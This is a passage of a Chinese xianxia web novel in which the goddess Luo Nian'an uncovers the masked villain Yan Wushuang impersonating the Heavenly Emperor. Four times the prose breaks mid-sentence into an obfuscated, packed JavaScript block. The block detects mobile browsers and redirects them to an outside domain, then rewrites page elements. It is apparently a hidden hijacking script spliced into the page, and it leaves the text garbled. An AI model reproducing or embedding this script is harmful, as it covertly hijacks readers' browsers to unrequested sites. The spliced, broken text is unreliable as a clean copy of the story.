洛念安却顾不得其他，手脚并用地爬到供盘前，捡起烂果子坏馒头就吃，一样一口，来不及咀嚼便吞咽入肚，虽未尝出味道，但她只觉得那时什么都是人间美味。 苹果时间长了，没什么甜水，使得馒头难以下咽，但在饿死和噎死之间，她果断选择噎死，生生将果子馒头都吃完了。 吃完东西，她又在坟边躺了好一会儿，才爬起来将坟墓复原，全程无视掉身边那道顶着笑眯眯面具的身影。 好不容易将坟墓修补的大差不差，她才拖着步子离开。循着记忆，她千辛万苦地挪到一处水塘边，跪在案上，撑着身体，探出头去。水面清晰地映出她如今人不人鬼不鬼的模样，她却是全然不在意这个，只是猛地将头扎进水中，大口大口地喝着水。 笑面人依旧跟在身侧，声音不大不小地来了一句：“小心坏肚子。” 洛念安哪里顾得上这些，只是一个劲儿地喝，好不容易满足，又突然跳进塘中，由着力道下潜，直到自己实在撑不住，才出水，一点点洗净身上的污垢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958233|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全程无话，笑面人只是坐在岸边，静静地看着洛念安。一直到她觉得自己洗干净了，才爬上了岸，仰躺在她的身侧。 洛念安疲惫地闭上眼，半晌，忽然道：“值得，我生而为神，就是要守护苍生的。” 笑面人轻笑一声：“还以为自己是神呢。” 洛念安没心情搭理她。 笑面人道：“温馨提醒，你已经在人间流浪两百年了，在这期间无神问津。说不定啊，他们早就将你忘了。” 洛念安翻身背对着她。 笑面人依旧在笑。 洛念安忍无可忍，喝道：“能不能闭嘴？！” 她声音刚落，紧接着响起一道惊叫声。 这声音绝不是身侧那个面具怪发出的，洛念安猝然睁眼，起身寻着声音望去，却只见到一个仓皇而逃地背影，看样子是位小姑娘。 莫名吓到人家，洛念安深感抱歉，但正心烦着，又累，也不想挪地方，干脆又躺了回去。 “珈洛，你不要这样生气。”笑面人的声音没完没了地响起，“你看，都吓到人家小姑娘了。” 洛念安眼也不睁，蹙着眉道：“相识一场，能否答应我件事？” 这真是破天荒头一遭。笑面人沉默了一会儿，终是道：“你说。” 洛念安眉头舒展：“去死。” 笑面人又怪笑出声，应道：“好啊。” 洛念安睁开眼看她。 “不过，”笑面人道，“你得答应我一个条件。” 洛念安竟真的觉得此事可以商量，脑子一懵，问道：“什么？” 那张笑面缓缓转向她道：“你去，杀了上阳国所有人。” 闻言，洛念安忍不住笑出了声，顿了顿，她道：“你还真看得起自己。” 笑面人也笑，却没再出声。 洛念安重新闭上眼，半晌，肩膀处不知有什么东西在碰她。她猛地睁眼，视线里一根树枝掉在地上。她起身一看，拿着树枝戳她的人已经被吓得躲在一位妇人身后了。 是方才那个小姑娘，她正拽着妇人的衣裳，看着洛念安道：“娘，就是她。” 洛念安望着眼前突然多出来的一大一小，一时搞不清楚状况，怔愣住。 那妇人小心打量了她一番，试探问道：“你......没事吧？” 洛念安摇头：“没事啊。” 那妇人呼出一口气：“我女儿回来跟我说在水塘边看见你，我便想着来看看，怕出什么事。” 洛念安的视线停在那个小姑娘身上，扯起唇角道：“我没事，谢谢。” 妇人摆摆手，又问道：“你是谁家的？为何在这里？” “我......”洛念安思索片刻，道，“我无处可去，便在这里歇脚。” 妇人点点头，将手中的小篮子递给身后的女儿，推着她往前。 小姑娘提着篮子，走到洛念安身边，将篮子放下，又一蹦一跳地回到自己母亲身边。 洛念安垂眸看向篮子，里面有一些东西，她尚未看清是何物，便听那妇人道：“听我女儿说你衣裳都破了，姑娘家实在不好，便带了件旧衣裳来，你不要嫌弃。里面还有一些包子，我刚做的。本来孩子她爹在外参军，常年不归家，前段时间突然回来了，家里地方小，也不太方便邀请你前去。” 洛念安闻言，连忙摆手：“不必客气。”她不好意思笑道，“实在多谢，给你添麻烦了。” “不麻烦，”妇人笑起来露出眼角的皱纹，她牵起自己的孩子，柔声道：“姑娘，你还年轻，没什么想不开的，收拾收拾，吃饱了，便回家去吧。” “......”洛念安望着她，点头道：“好。” “再见。”她们走时，那小姑娘回过头来冲她挥手。 洛念安也抬起手摆了摆：“再见。” 她垂眸望着篮子里的东西，顿觉冰凉的四肢都回暖了。她侧目，笑面人依旧待在她身侧，那张面具正对着她。不知是不是她的错觉，她总觉得那张笑脸，渐渐转成了哭面。 她没有再笑，却是叹了口气，语气哀怨：“珈洛，为何你总会有这样的好运气。” 洛念安心里高兴，只顾的上吃包子，顾不上理她。就着塘水吃饱喝足，洛念安又躺回去，打算养精蓄锐一会儿。 突然，她爬起身，抓起篮子就往林子深处去。 笑面人仍旧跟在她身侧。 洛念安停住，回头看她：“你做什么？” 笑面人答：“你做什么我就做什么。” 洛念安道：“我如厕，你要一起吗？” “......”笑面人沉吟片刻，道：“你去吧。” 64. 诉辛酸话当年真相 易桉忽然起身。 洛念安回神，下意识伸手握住他的手腕，问道：“怎么了？” 易桉望着她：“我去杀了她。” 洛念安四指微微收紧，轻轻摇了摇头：“若她必须死，也该由我去。”她站起身，右手依然握紧他的手腕，“小桉，她能出现在不归川且不惊动神界，加之方才我与她也算交过手，由此观之，她的实力深不可测。天帝派我前去查明不归川异动，想必就是与她有关。事不宜迟，我现下需赶往神界，将此事禀告天帝。” 易桉手指微动，望了她半晌，终是道：“好。” 洛念安还是有些不放心，事实上，从再见到笑面人开始，她就一直心慌不已。她叮嘱道：“你好好待在这里，不要再去不归川，以免引起不必要的麻烦。” 易桉弯起唇角：“知道了，我在这里等姐姐。” 洛念安点头，松了手，正欲迈步往殿门外走去，却忽被易桉拉住了手腕。她纳闷抬头，望着他。 易桉不知从哪掏出一个锦袋，轻轻带起她的手，将锦袋放入她的手心：“这个带着。” 洛念安蜷起手指捏了捏，里面似乎是一颗颗的东西，她好奇道：“这是什么？” 易桉松开手道：“一些药丸，姐姐带着吧，说不定会派上用场。” 洛念安点头，虽然未明说，但她觉得易桉给的东西一定是好的，便仔细收着。她看向易桉：“那我走啦。” 易桉点头。 洛念安背好麻袋便迈步往殿门处走去。 “姐姐。” 洛念安脚步一顿，回眸看去。 易桉负手而立，笑容明朗：“姐姐忙完，记得来找我。” 洛念安弯起唇角，应道：“好。” 她来到神界，匆匆忙忙往紫微大殿赶去。走着走着忽然停下，她想起洛君逸今日要处理无量狱之事，也不知现在回来没有。思及此，她脚步一转，打算先去寻真阁问问。 迈上踏入寻真阁的台阶，洛念安迎面见到一人匆匆下阶，再仔细一瞧，她出声唤道：“东海神？” “哎哟哟，殿下！”东海神的声音隔着老远传来，他的速度更快了，“可算找到你了殿下！” 洛念安也加快步子迎上去，睁大双眸问道：“海神寻我可是有什么消息？” 闻言，东海神的步子一顿，他停下来，洛念安却是已经走到他面前去。他薅了两把自己的胡须，心虚地看了她两眼，然后道：“这个嘛......这个这个......其实没有消息。” 洛念安微微一怔，歪头道：“没有消息？” 东海神道：“殿下之托，老夫不敢怠慢。把能派的都派出去了，连夜搜寻，确实是没发现圣物，连一片残骸都没有看见。” 洛念安垂眸，左右看了看，又看向他道：“海神做事竟如此利落，真是多谢。只是东海之大，有没有可能有哪些地方遗落了？” 东海神道：“老夫的手下现在还在搜寻，老夫怕殿下着急，便赶上来告知殿下一声。” 洛念安点头道：“真是辛苦您了，不如移步珈洛殿喝杯茶？” 东海神连连摆手：“殿下不必客气，既然已经告知殿下，那老夫便回去了，说不定有新发现呢。” 其实洛念安只是客气一下，毕竟珈洛殿似乎没有茶。听他这么说，便顺着道：“也好，若有消息，海神直接传讯即可，不必如此劳累。” 东海神笑笑，道：“是，也是托殿下的福，才能来这神界走一遭。” 洛念安眨了眨眼睛，她属实没想到还有这个目的在里面，轻声笑了笑，道：“那海神请便，我尚有事在身。” “是是是，”海神行礼道，“老夫告辞。” 洛念安回以一礼，便继续往寻真阁去了。她到时，明修正埋首于卷轴之中，察觉来人，他抬起头来。 洛念安看清他面容的那一刻微微一愣，她记得几日前明修还神采奕奕，如今可谓是面容枯槁，眼里都没光了。 明修见到是她，立马将手中的笔一甩，哼道：“你这娃，上来几天？把能干活的都弄跑了！现在好了，还得我这把老骨头在这干活！” 一股巨大的怨气扑面而来，洛念安应是占理的一方，却莫名觉得心虚：“这个......”她无奈笑笑，“您能者多劳嘛，再者，不是年后您就能清闲了嘛。” 明修重新捡起笔，翻了个巨大的白眼：“我这把老骨头，能不能撑到年后，两说！” “怎么会呢？”洛念安往前走了几步。 明修掀起眼皮看向她：“你有何事？” 洛念安道：“我想请问帝君可否回神界了？” “不知道，你自己去看看不就知道了。”明修回得很快。说完，他又放下笔，看着洛念安道，“你这娃，你亲爹亲娘能做什么对不起你的事？你说断关系就断关系？古往今来天上地下真是头一遭，简直是大逆不道！你......” “......” 明修越说越气，干脆背过身去不看她，嘴里却不饶人，扯东扯西地责怪她。 洛念安听得耳朵发胀，头也痛，干脆想要趁其不备偷偷溜了。谁知刚一迈出脚，明修就转过身来，话题一转：“对了，你来看看这个。” “......”洛念安又把脚偷偷缩了回来，走上前去接过明修递来的卷轴，打开一看，右侧写着几个大字：“上神年度功绩榜单？”她顿觉不妙，抓紧往最后一列看去，果然，“洛念安”三个大字赫然在目。 她无奈咧嘴笑了笑，道：“真是毫不意外呢。” 明修大手一伸：“八万功德，殿下何时结清啊？” 洛念安将卷轴卷了卷，尝试挣扎道：“其实我觉得这样是不太合理的。您看，我飞升才没多久，若是与其他武神一起排名，劣势很大啊。” 明修摸了摸胡子：“的确如此，所以你看到的是从你飞升往后的排名，这个榜单开始的时间都是一样的。” 洛念安又展开卷轴往后看了看，果然有注明。她默然无语片刻，点头道：“好的，这八万功德还劳烦真君派人前往珈洛殿取一下，我现下找帝君有要事，实在走不开。” “知道了。”明修摆摆手，坐了回去。 洛念安离开了寻真阁。来了一趟，有用的消息没听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965048|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到，不仅落得一通数落，还损失八万功德。洛念安轻叹一声，又往紫微大殿赶去。 她哼哧哼哧爬台阶，甫一登上最后一级台阶，一眼便见到坐在最高处的洛君逸。 他正支着下颚，垂眸望着她，似乎早已等候多时。 洛念安脚步一顿，她想到洛君逸也许办完事情回到了神界，却没想就在议事殿，还是如此这般，似乎在等谁。 难道他约了旁人殿议？ “你来了，珈洛。” 洛君逸的声音借助法力穿过整座大殿传来。洛念安心下了然，迈步进殿：“参见帝君。” 洛君逸忽然站起身，一步一步，缓缓步下玉阶：“不归川有何异动？” 洛念安见他慢慢靠近，没由来地紧张起来。她回道：“不归川出现可疑人。” 洛君逸在倒数第五级玉阶上停住，负手而立，面上并无什么神情，看不出情绪。他无言片刻，才道：“可疑人？你可有捉住他？” “没有，”洛念安如实道，“不知帝君可曾见过一个......笑面怪人？” 洛君逸只望着她，并不答。不过从他轻微蹙起的眉头来看，他应该没有见过笑面人。 洛念安继续道：“她戴着一张苍白笑面具，身着黑白道袍。我不知其身份，也从未曾见过其样貌，但听声音，应是位女子。” “从未曾？”洛君逸沉声重复着她的话，又道，“你早就见过她。” 洛念安点头，抬眸对上他的视线：“帝君，五百年前，她曾进入我的梦境，引诱我闯入不归川。此后的五百年间，她一直......阴魂不散地出现在我身侧。起初，我从未触碰到她，可是就在方才，不归川内，她已化了实形。” 话音落下，偌大的神殿陷入沉寂。 洛君逸凝望着她，半晌，沉声道：“珈洛，这样的事情，你从未对我提起。” 洛念安弯了弯唇，道：“五百年前，没有人让我开口。” 又是一阵死寂。 洛君逸似乎叹了口气，他道：“你退下吧，这件事情我会处理。” 他既开了口，洛念安便放下心来，颔首道：“是。”她转身欲走，迈出几步又停下，回身道，“帝君，还有一事。” 洛君逸正垂眸沉思，闻声道：“你说。” 洛念安：“我昨日寻找东海神帮忙寻找掉落东海的圣物，今日海神前来告知我目前并未寻到。” 洛君逸抬眸看向她，沉吟片刻，问道：“你不信他的话。” 洛念安垂眸道：“查证一下总要踏实些。” 洛君逸轻笑一声：“做得不错，珈洛。” “多谢帝君。”客套一番，洛念安退出紫微大殿，可是走在路上，越想越不对劲。洛君逸听闻后只是夸了她一下，并未有其他表示。 那此事，他到底是管还是不管？ 思来想去，洛念安忽然想到洛君逸要做的事情太多，无量狱尚不知情况如何，现下还要去解决不归川的事情，忙得不可开交。 这件事，还是她多多留意好了。 思及此，洛念安身子一转，往天牢的方向去了。 65. 恶念生欲毁尽三界 洛念安来到天牢前，看向立于两侧的神兵，走上前去。 神兵见到来人，行礼道：“殿下。” 洛念安询问其中一位：“劳驾，这两日可有人前来看望锦和？” 那神兵似乎思索了片刻，与另外一位对望一眼，然后答道：“并未有。” “好的。”洛念安点头，又道，“我能进去看一眼吗？有些事情还需询问他一番。” 两神兵闻言，武器相交，天牢大门处的结界打开：“殿下请。” “多谢。”洛念安道了谢，迈步进入天牢。 天牢内关押罪犯是将其关入一个又一个的结界中，结界外的人可以一眼看到他们在何处，但是结界内的人看不见外面，也听不见外界的声音。也就是说，他们独自待在一个无声的狭小空间内，直到千百年的寿数耗尽。 天牢内无法使用法术，所有的结界都是天帝设下的，由其掌管。 洛念安进入结界后仿佛一下子进入了另一个世界，这里与外面不同，没有彩霞飞鸟，只有无尽的黑暗，唯一的亮光是挂在夜空中的繁星发出的。 她忽然好奇，若是千百年都待在这里，会不会数清这天上到底有多少颗星星？ 洛念安四下看去，却在看清天牢内情况时眉头一蹙，她迈出步子，绕了一大圈，又回至原处，终于抛出疑问：“锦和去哪了？” 一股不好的预感从心底腾然升起，洛念安猛地转身快步走出天牢。 守门的神兵见她出来，且要离开，便行礼道：“恭送殿下。” 洛念安行色匆匆，来不及回礼，疾步往清漓殿方向去。 在神界时通常没人使用闪身术，一是确实没什么十万火急之事，二是众神觉得这样难免有失风度，若是遇见熟人多少面上不太好看。此刻，洛念安却管不了这么多，一个闪身出现在清漓殿外。 清漓殿内果真四下无人，洛念安隐了身形，进入殿中。前殿大门敞开，一看就无人在殿。她四下张望，心念一动，往念清漓的寝殿处走去。 念清漓的寝殿门窗紧闭，洛念安脚步微顿，转而贴在窗边，屏息注意着里面的动静。 “都安排好了吗？”里面传出一道女声。 洛念安眉头蹙起，这声音分明不是念清漓的声音，但她似乎在哪里听到过，有些熟悉。 现下最主要的事情是，这殿中为何会有另一位女子？这人是谁？ “都妥当了。” 这道声音......果然是锦和！ 洛念安双目微睁，靠得更近了些，耳朵几乎贴在了窗户的缝隙处。 女人轻笑一声，道：“你现在做事真是又快又好。” 锦和道：“那有什么奖励吗？” “别闹~”女子嗔怪的声音传出。 “......”洛念安忍不住又蹙下眉头，他们这是在做什么？ 好像不太对劲。 念清漓呢？ 锦和与这女子是怎么回事？ 锦和又道：“亲一个~” 洛念安猝然睁大双眼，双拳紧握。 好他个渣男！ 她刚准备破窗而入把锦和的脑袋打成猪头，却听那女人道：“珈洛真的去查了东海。” 听到自己的名字，洛念安一瞬间冷静下来。 锦和道：“你还真猜对了。” 那女人笑道：“这世上，没人比我更了解她。” 洛念安越听越懵，一时竟也拿不定他们讨论的人到底是不是自己。 这女人是谁？为何会这么说？ “你猜，”女人又道，“她会去哪？” 锦和反问：“去哪里？东海？” 女人大笑几声，道：“错了，她会去天牢找你。” 洛念安猛然一愣。 锦和道：“那，她发现我不在天牢后呢？” “我猜......”女人的语调拉长，“她会来这里，说不定......她现在就在这里呢。” 洛念安顿觉汗毛根根竖立，脑中一片懵然，整个人都被笼罩在惊恐之中。 她面前的窗户开了。 念清漓的脸出现在窗口。 血光从腰间飞出，倒刺竖立，缠向对方。 念清漓闪身避过，洛念安显形，趁机翻窗而入。龙吟声响，枪身落入手中，直直往念清漓脸上刺去。 念清漓立在原地不动，一副泰然自若的模样，见她逼近，轻声笑道：“你舍得，杀了你的母后？” 是念清漓的声音。 枪尖在距离她面部三寸处堪堪停下，洛念安迎上她略带得意的目光，咬牙道：“你不是我母后！” 念清漓轻笑一声：“也对，毕竟，是你亲自断绝的关系。” “用不着与我玩文字游戏，”血光收回，重新缠绕在她的腰间。洛念安道，“你是谁？我母后在哪？！” 念清漓勾起红唇，接住锦和扔过来的长剑，对她道：“打赢我，我便告诉你。”说完，她又看向锦和，语气明显好了许多，“躲远些。” 锦和真的找了个地方安静待着。 洛念安自然不屑于为难他，只全心对付眼前这个顶着念清漓面容的人。 十招下来，洛念安的神情越发严肃，这人并未出招，却似乎对她的招势了如指掌，接招游刃有余。 念清漓笑道：“只有这点本事？” 洛念安道：“我从不吃激将法。” 又过了五招，她忽然道：“这把剑不是你的吧？” 念清漓微微扬眉：“哦？” 洛念安笃定道：“你不是用剑之人。” 念清漓笑了几声，道：“我拿着不趁手的武器，你都打不过我。” “是吗？”洛念安手指微动，龙吟在她身后转动，银光画成一个圆圈。她加强攻势，对面那人也不挡反攻。两人你来我往，出出进进，上上下下，将这座寝殿的屋顶都掀翻半个。 也是这里实在偏僻，寻常几乎无人前来，故而也没人发现此处的战况。 洛念安铁了心要将她桎梏于枪下，询问出真正的念清漓的下落。而对方功势越来越猛，她已做好久战的准备，却不想那人猛然停下，她身后的空间瞬间撕开一道裂缝，她竟钻进去，消失不见了！ 龙吟来不及收势，劈向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14970978|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的玉柱，将柱子劈成上下两截，另一半屋顶也轰然倒塌。 洛念安呆立在一片废墟中，震惊得久久无法回神。 方才那是什么？ 虚空之境？！！ 龙吟插入地下，洛念安支着它站立，半晌，才缓缓眨动眼睛。锦和躲藏的位置早已没了身影。她猛地回神，拿起龙吟便往出跑。 她要去找易桉。 洛念安刚闪身到天门处，一向晴空万里，霞光普照的九重天忽然裂开了一道巨大的缝隙。 她一惊，呆立在原地。不止是她，守门的六位神兵也注意到了这一情形，纷纷惊呼出声，乱了阵脚。 下一瞬，无数火球从缝隙中涌出，砸向四方。 洛念安尚未来得及动作，一道金光亮起，片刻便将所有火球统统震得粉碎。 那是......洛君逸的法器。 到目前为止发生了太多事情，撑得洛念安直觉头痛，她尚望着天上的裂缝，耳边便炸开柳渊的声音：“念将军？你在哪啊？” “我在神界。”洛念安回。 柳渊语气有些急，询问道：“你又飞升了？！” “......”洛念安默然无语片刻，反问道：“我还能飞去哪里？” “不是，”柳渊道，“那天上怎么又有火球砸下来？而且这次这天好像是真的破了！” 洛念安长长叹出一口气：“此事真与我无关。” “好吧，”柳渊道，“那你现在快来紫微大殿，紧急殿议。” “好，”洛念安应道，“马上到。” 她离开时，回头看了一眼，方才那一击之后，裂缝里没有再漏出火球。但它依旧在那里，没有缩小，也没有扩大。 洛念安闪身到大殿外时，她发现一位位上神此次都是直接闪来的，看来是真的遇到急事了，实在是来不及爬那些台阶。 他们入殿时，洛君逸竟没有坐于高位，只负着手背对着殿门立于殿中。 “帝君。” 众神话音落下，洛君逸才缓缓转身，他出声道：“那道裂缝，诸君有何见解？” 他话音落下，众神的视线才从洛念安身上移开。 洛念安顶着那些探究的目光，着实心累。 “那是什么东西还用说吗？”明修的声音响起，“太阴仙所创之术——虚空之境，无人不知无人不晓吧？” 洛念安心下一沉，她看到那裂缝后就知会如此，但还是道：“是他所创，但非秘术。” 众人的视线又齐刷刷投过来，明修的小眼睛登时瞪得如葡萄般大，他的语气满是不可置信：“珈洛，都这时候了，你还在替他说话？！若不是帝君及时出手，那些火球都要砸入人间了！你知道会造成什么后果吗？太阴仙的心思昭然若揭！” 洛念安抿了抿唇，道：“此事我自会寻太阴仙问清楚。” 众神议论声四起，柳渊和赫连昭在她身侧没有说话。洛念安全然不在意那些或好或坏的声音，但明修的声音之大完全无法忽略：“你是傻了吗孩子？！你还去找他？这不是找死吗！”他气得走到洛君逸身边，“帝君，你看看她！” 66. 祸不单行祸成三行 洛君逸唇角的笑意更深。 洛念安正盯着他，等着他的回答。 却听见有人道：“殿下现在究竟在做什么？别再闹了，一大堆事情等着帝君下令。” “就是啊，现在没人有空陪你闹。” “这不是耽误时间吗？” “我知你心急，”洛君逸总算开了口，“但是，不要再闹了，珈洛。” “......”洛念安的面色沉了下去，须臾，她道：“帝君，不知你能否告诉我......”她停顿片刻，忽将开了盖的银瓶送到了洛君逸的鼻下，“这是何物？” 谁也没想到她会突然来这么一出，正愣神间，众神齐刷刷瞪大双眼。 洛念安也是。 银瓶“叮当”一声砸在玉石地面上。 眼前之人哪还是往日里威严的天帝？突然化作了一位带着黄金面具的女子！ 她垂眸望了一眼掉在地上的银瓶，又抬眸看向洛念安，轻笑道：“这倒是个好东西。” 一时之间，大殿内没有任何人有任何反应。 洛念安望着眼前之人，呼吸好似都停滞了。 突然一声巨响，紫微大殿之门猛地关上，这才砸醒众人。 明修高声惊呼：“颜颜颜颜无双！” 若先前许多上神只是惊讶帝君为何会变了个模样，还变成了女子。那这三个字传入耳中，便都成了惊恐了。 明修想跑，奈何老胳膊老腿不听使唤地哆嗦，一下子跌在地上。 洛念安手疾眼快，一把拽起明修，闪身到武职上神之列，独留颜无双一人立于大殿中央。 霎时间，除却洛念安，余下五位武职上神纷纷祭出法器。而另一头的五位文职上神则纷纷跑到殿门处，尝试打开殿门跑出去避避风头。 这头众武神已经围了上去，洛念安转眼观战，下一瞬，一道强劲的金光散开，惊呼声响起，那五位齐齐飞出，摔在地上。 那边的殿门尚未打开，众文神见此情形，开门的动作更急了。 “……”洛念安默默接好长枪，看了身侧的明修一眼。 明修识趣地跑去帮忙开门。 金光散去，颜无双立在原处，手执一杆长枪，通体金黄，直指洛念安，面具之下的声音响起，竟与清漓殿内那神秘女子的声音一模一样：“该你了，珈洛。” 她喃喃低语，像是来夺命一般。 洛念安毫不畏惧，飞身而起，手指微动，枪身在她身后划出几轮银圈，随后借势往前，刺向那张黄金面具。 如方才一样，颜无双对她的攻势几乎了如指掌，每一招都无法伤其分毫。两人打得也算有来有往，只是随着战斗时间拉长，洛念安的眉头越蹙越深。眼见着金光袭来，她循着记忆，下意识举枪格挡，明明也算见招拆招，洛念安的内心却愈发不安起来，心脏猛烈跳动着，似乎有什么念头呼之欲出。 她几乎无法控制自己，分了心。就在这一念之间，便被击飞数丈之远。洛念安的脊背重重砸向玉柱，一口鲜血喷涌而出，又顺势跌向地面。 耳边一阵嗡鸣，似乎有人说话，却不知说了什么。洛念安咬着牙，生生将涌向口腔的血液咽下，支着龙吟，勉强单膝跪在地上。 无数记忆奔涌而来，将她吞噬，咀嚼几口，又吐出。 她不知此时自己究竟是何种心境，万分复杂，如同缠绕的解不开的丝线，一根一根，划开她的血肉。 视线渐渐清明，那张黄金面具就立在不远之处。洛念安迎上她的视线，她双唇一开一合，微微颤抖，喉间哽咽几乎发不出声音，好半晌，才勉力颤声道：“……师父？” 面具之下传来轻笑声。 众武神本来见她们一来一回打得正酣，从地上爬起来后便转身去帮忙开门，结果门没打开，一回头洛念安跪在地上。 于是他们又忙着过来举剑准备再战。 突然，殿外响起一声鹰啼。 下一刻，殿门被人从外面一脚踹开。 这一切太过意料之外，故而殿门开时撞倒了趴在门上努力开门的一众文职上神。 众人纷纷往门外看去，洛念安赶紧抹了一把嘴角的血渍，也跟着扭头看了过去。 殿门处的空间撕开了一道巨大的裂缝，里面漆黑一片，忽然亮起一双荧目，阿离庞大的身躯从里面缓缓走出，跟在它身后的，正是易桉。 易桉现身，身后的裂缝随之闭合。 苍从空中落下，振翅立在易桉身侧。易桉哼笑一声，缓缓道：“神界的防事，实在一般。” 神界众上神虽没几个见过易桉的真容，他身侧的苍和阿离那却是化作灰都认识。 阿离转而停在苍的身侧，易桉则缓步移至殿中，从他现身时起，视线便一直黏在洛念安身上，从未离开。 他靠近一步，众神便后退一步，除却渊昭二人。 本来面对颜无双一个便十分棘手，现在又来一个，众神看看这个，又望望那个，一时不知先对付谁得好。 易桉并没有多余的注意力分在旁人身上，他走到洛念安身侧，弯下腰，将人轻轻扶起。 洛念安看着他，想要开口说话，却被他那实在阴沉的面色挡了回去。 易桉在她耳侧轻声叹息，语气似有万般无奈：“姐姐先到一旁歇息。” 洛念安应得很快，生怕惹得他更不高兴：“好。” 易桉看了一眼呆立在一旁的赫连昭，道：“你来，扶好她。” 他语气里的不爽满的几欲溢出，洛念安赶紧摆手道：“不用不用，其实我完全没事。” 说话间，她的眼角忽现一抹金光。洛念安迅速转身，将易桉挡在身后，那金光却被一闪而过的银光截下，“铿——”的一声，一道劲风扑面而来。 洛念安察觉左肩抚上一只手，只一刻，那触感便消失不见。 身旁有一道黑色身影闪出，断魂落入易桉之手，他便举剑迎上颜无双的金枪。 不远处正上演着鬼王对战魔王的精彩戏码，古往今来头一遭，看得众人眼神发直。 洛念安似乎从未见过易桉正经使剑，现下看来，他的剑法招式利落，反应奇快，只见剑锋不见剑身，出招狠辣，只打要害。 二者的战势如同海浪一般，一浪高过一浪。法力交锋后的余波将这四周的玉柱都震出几道裂纹。 “念将军，你手抖什么？” 柳渊的声音催着洛念安回神，她才发现自己真的在抖，便微微用力，握紧枪身。 柳渊问道：“在想什么？” 洛念安侧目看去，见人停在她身侧，轻声道：“在想她到底是谁。” “她？”柳渊的视线投过去，“听说是女魔颜无双。” 洛念安望着那道闪上闪下的身影，喃喃询问道：“她在六百年前，我出生那日就死了，对吧？” 柳渊看向她：“传闻是这样。” 洛念安垂下眸，又道：“那她为何会出现在这里？” 赫连昭走过来回道：“她借圣物重塑肉身从不归川跑出来了，我们都被锦和骗了。” “不对。”洛念安忽然看向他，重复道，“不对！” 赫连昭微微一愣，忍不住抓了抓头发：“那，那不然呢？” “轰隆——” 突然一声巨响传来，那头竟是将屋顶都掀翻了出去。 洛念安扭头望去，似在自言自语：“时间不对。” 柳渊的注意力被那头的战局吸引，并未听清洛念安在说些什么，只是转头问道：“我们是不是该去帮忙啊？” 赫连昭道：“谁知道你去是帮忙还是添乱？你看清太阴仙的打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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颜无双笑了一声，她慢条斯理地抬起手臂，垂眸看着上面散着黑烟的伤口渐渐愈合，复又看向洛念安：“你这样聪明，我以为你已经猜到了，珈洛。” 洛念安握枪的手一紧：“我该猜到什么？” “不用怀疑，珈洛。”颜无双往前走了两步，那杆金枪横在身前，她徒手擦拭着枪头，缓声道，“就是你想的那样，他们自然，都死了。” “什么？！”还在场的武神听闻这句，皆是哗然。 洛念安眸光一凛，举枪几步跃上：“你胡说！” “你要与我一战吗珈洛？”见状，颜无双自端得一派从容不迫，“你从未打赢过我，不是吗？” 她的声音轻飘飘入耳，却震得洛念安头皮发麻，攻势也堪堪止在半路。 “不要信她，姐姐。”易桉的声音从身后传来，瞬间抚平她那颗躁动不已的心。 颜无双却似不甘示弱一般：“这是事实，珈洛，没人比你更清楚。” 洛念安咬牙：“你......” “你救不了你的父母，”颜无双生生打断她的话，“救不了神族，更救不了天下众生，所有的一切都将毁灭，珈洛，我会让你眼睁睁地看着他们毁灭，这是你不听话的惩罚。” 她的话音落下，身后的虚空忽然撕开一道裂缝。 洛念安几步上前，想要截下她，却连她的衣摆都摸不到。眼睁睁地看着颜无双消失在虚空之境的黑暗之中，她人不见了，大殿中却还回荡着她的笑声。 在那道笑声中夹杂着一句话，十分清晰，清晰到洛念安完全无法忽视它： “哦对了，忘记告诉你，其实，你的母亲她很爱你。为了防止你能感受到一丝一毫的爱意，我不得不杀了她。哈哈哈哈哈哈......” 67. 神魔战另有隐情现 “一面之词，我不相信！” 洛念安没抓住她，还满身狼狈地扑倒在地上，她声嘶力竭地吼着，仿佛声音越大越能说服自己。 却没有声音再回应她了。 赫连昭和柳渊一起，正往高台上冲。易桉已经来到她身边，空洞的世界里，忽现一只苍白而有力的手。 文神早已逃之夭夭，诺大的紫微大殿里只剩下零星几位武神。 “不好了！”明修拖着年迈的身体跨入殿中，手中举着一卷卷轴，“不好了！神界这些年镇压的妖鬼全都被人放跑了！还有，还有，万妖万鬼侵犯人间！” 神界现下如同被人套上麻袋敲了一棍又一棍，彻底懵了。 “什么？！” 